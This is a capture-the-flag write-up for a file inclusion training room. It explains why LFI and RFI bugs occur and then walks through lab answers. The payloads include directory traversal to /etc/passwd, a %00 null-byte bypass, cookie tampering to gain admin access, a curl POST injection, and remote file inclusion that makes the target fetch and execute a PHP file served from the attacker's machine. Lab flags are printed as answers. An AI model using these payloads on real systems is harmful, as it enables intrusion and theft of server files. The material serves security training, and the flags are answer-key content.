Why do file inclusion vulnerabilities happen?
File inclusion bugs usually come from bad input validation. Web apps (often in languages like PHP) take a filename from user input and use it directly to open or include a file. If the app doesn’t check or sanitize that input, an attacker can control which file gets loaded — and that leads to the vulnerability.
Key causes
- User-supplied filenames or paths are used directly.
- No allowlist of allowed files or extensions.
- Dangerous server settings (e.g., remote file includes enabled).
- Poor error handling that helps attackers probe the app.
What’s the risk?
If exploited, file inclusion can let an attacker:
- Leak sensitive files (source code, config files, credentials).
- Read system files (/etc/passwd, logs, etc.).
- Combine with other bugs (like an upload flaw) to achieve remote code execution (RCE).
- Escalate access if the web process can read secrets used elsewhere.
Because these vulnerabilities expose server-side data and can lead to full compromise, they’re high-risk and should be fixed immediately.
Challenges
Firstly visit the given link and reach the desired website.
Path Traversal is skipped here as the answer can be found easily by reading the content given at THM.
Local File Inclusion — LFI
Lab 1
Upon reaching the Lab 1 page we are met with a form that can be used to give an input. Lets try by passing etc/passwd through it.
We are given back a response with errors. These errors reveal some crucial details. include(etc/passwd) shows that the whole input is passed through without any filtering or sanitation. And the error also reveals the web directory as var/www/html/lab1.php.
So if we pass the value ../../../../etc/passwd we should get back the passwd file content.
../../../../etc/passwd
The flag for the question asks what the request URI would be for etc/passwd.
So press inspect -> Network and again pass etc/passwd through the form and watch for the first entry containing the request made.
You can see the answer for Q1 under the file categeory of the first entry.
/lab1.php?file=/etc/passwd
Lab 2
Go back to home and press on Lab 2
In this lab we are given that the developer has decided to specify the directory within the function as
<?PHP
include("languages/". $_GET['lang']);
?>
When we try to pass etc/passwd through this lab we get an error as follows.
We can see that the request has been changed to (includes/etc/passwd) so the answer for Q2 is the word “includes” as it is the directory specified by the developer as we can see by it being added infront of the path we entered.
Lab 3
Quick Summary :-
When you don’t have the source code (black-box testing), error messages are gold. They often show how the app builds file paths and where files live.
Example entry point:
http://webapp.thm/index.php?lang=EN
If you send a bogus value like THM, the app returns:
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
This error reveals three useful things:
- The app calls include(“languages/.php”).
- Files live in a languages folder and end with .php.
- The full server path is /var/www/html/THM-4/.
Knowing the app appends .php means a straight directory traversal like:
http://webapp.thm/index.php?lang=../../../../etc/passwd
fails, because the server tries to open languages/../../../../etc/passwd.php (which doesn’t exist).
Null byte trick (%00)
A classic bypass is the null byte (URL-encoded as %00), which terminates a string early in some C-based string handlers. If the app naively concatenates “.php” after your input, an input such as:
../../../../etc/passwd%00
can make the include evaluate as:
include(“languages/../../../../etc/passwd%00”).”.php”);
→ treated as include(“languages/../../../../etc/passwd”);
That lets you read /etc/passwd via the include.
Important note: the null-byte trick was patched — it does not work on PHP 5.3.4 and newer.
Q3
If we pass etc/passwd we are given an error.
The code appends .php to the end and the developer has also defined a directory hence our path is changed into an invalid path as
(includes/etc/passwd.php)
To solve this issue we can use the ../../ trick to go up in the directories and use the %00 trick to cancel the .php append.
So the path we should enter to retieve the content of the passwd file is the answer of Q3
/lab3.php?file=../../../../etc/passwd%00
Q4
Q : Which function is causing the directory traversal in Lab #4?
Ans = file_get_contents
Q5
Try out Lab #6 and check what is the directory that has to be in the input field?
Open Lab 5 and pass a value ( etc/passwd )
The response says only files in THM-profile folder is accessible. Hence
Ans = THM-profile
Q6
Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?
We know that all the files should be from the THM-Profile directory hence our input should start with THM-Profile, and we can use the ../../ trick to go up in directories. Lets try this.
Using THM-profile/../../../../../../etc/os-release reveals the OS version as 12.04 which is the answer.
THM-profile/../../../../../../etc/os-release
Challenges
These challenges can be completed using burp suite but as it is covered in other writeups this writeup contains methods to complete the task without burpsuite.
Visit /challenges/index.php and select Challenge 1
Q1. Capture Flag1 at /etc/flag1
We are given a hint.
The input form is broken! You need to send POST request with file parameter!
Go to inspect and find the section related to the form, you can see that the form has been created with the method GET
Double click on GET and type POST in that space. Then without refreshing the brower go to the input form and type etc/flag1 and press include.
The flag will be visible.
F1x3d-iNpu7-f0rrn
Q2. Capture Flag2 at /etc/flag2
You might be asked to refresh the page. If so refresh.
The page says that only admins are allowed to view the site. Lets take a loot at the cookies to see if we can manipulate it.
Right Click -> Inspect -> Storage -> Cookies
We can see that the cookie has a value of Guest. We can try and edit this value. Lets try Admin.
Refresh the page.
We can see it worked. But the flag is nowehere to be seen.
We can see that the input is automatically appended to “includes/” so if we need to try and escape back to the parent directory we need to use the ../../ trick. And as .php is appended we also need to ad %00 to the end
Lets try the same thing again but this time with the path ../../../../../etc/flag2%00 as the value of the cookie.
../../../../../etc/flag2%00
We can retieve the flag.
c00k13_i5_yuMmy1
Q3. Capture flag at etc/flag3
You can follow the same steps and change the GET value to post and refresh the page and intercept the request from Burp and add the parameters and forward to get a response.
But as this method is widely covered and known to give issues to many beginners i will suggest a easier method using CURL.
curl -X POST <ip_adr>/challenges/chall3.php -d 'method=POST&file=../../../../etc/flag3%00' --output -
Answer
P0st_1s_w0rk1in9
Q4. Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?
In order to gain to this we need to create a file containing the hostname command on our machine.
<?php echo exec("hostname");?>
We can do this by Nano in the terminal
nano test.txt
Type the PHP code , Press CTRL+O to save and Press Enter , Press CTRL+X to exit.
cat test.txt
Use cat and view the file content is correct.
Create a server on the same directory using the code ( include a port at the end if needed )
python3 -m http.server
Check the local IP address using ifconfig
In the playground website create a connection using http:///
Answer
lfi-vm-thm-f8c5b1a78692
























Top comments (0)